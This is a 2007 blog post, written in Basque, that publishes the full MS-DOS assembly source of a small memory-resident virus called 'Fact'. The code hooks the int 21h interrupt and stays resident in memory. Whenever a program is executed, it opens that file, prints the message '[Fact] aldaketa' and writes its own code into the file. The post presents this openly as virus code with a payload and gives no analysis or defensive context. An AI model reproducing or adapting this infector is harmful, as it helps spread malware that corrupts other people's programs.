Saturday, July 07, 2007

0022 - Fact, moldatua


title fact
comment ;P
Eten bektorea aldatzen du gure kodea egikari dezan.
xinplea, eta ongi funtzionatzen du msdos ingurunean.
;P

.model tiny
.code
; COM izango da
org 100h

hasi:

cli ; clear interrupt table
; Lehenbizi eten bektorean (IVT) 21hren helbidea atera: 35h
mov ax,3521h
int 21h
; es:bx helbidean uzten da
mov word ptr [int21_helbidea],bx
mov word ptr [int21_helbidea+2],es

; Orain gure helbidea ezarri: 25h
mov ah,25h
lea dx,int21_birusa
int 21h


; TSR geratu, 27h bitartez
xchg ax,dx
sti
int 27h

; Birusaren kodea...
int21_birusa proc near
; exekuzioa pasatu zaio int 21hri?
cmp ah,4bh
jne int21_exit

mov ax,3d01h
int 21h
xchg ax,bx

push cs
pop ds

; payload sinplea...
mov ah,09h
lea dx, virus_izena
int 21h

mov ah,40h
mov cx,(bukatu-hasi)
lea dx,hasi
int21_exit:
db 0eah
bukatu:
int21_helbidea dd ?
virus_izena db '[Fact] aldaketa',10,13,'$'

endp

end hasi

Labels: , , , , ,

0 Comments:

Post a Comment

<< Home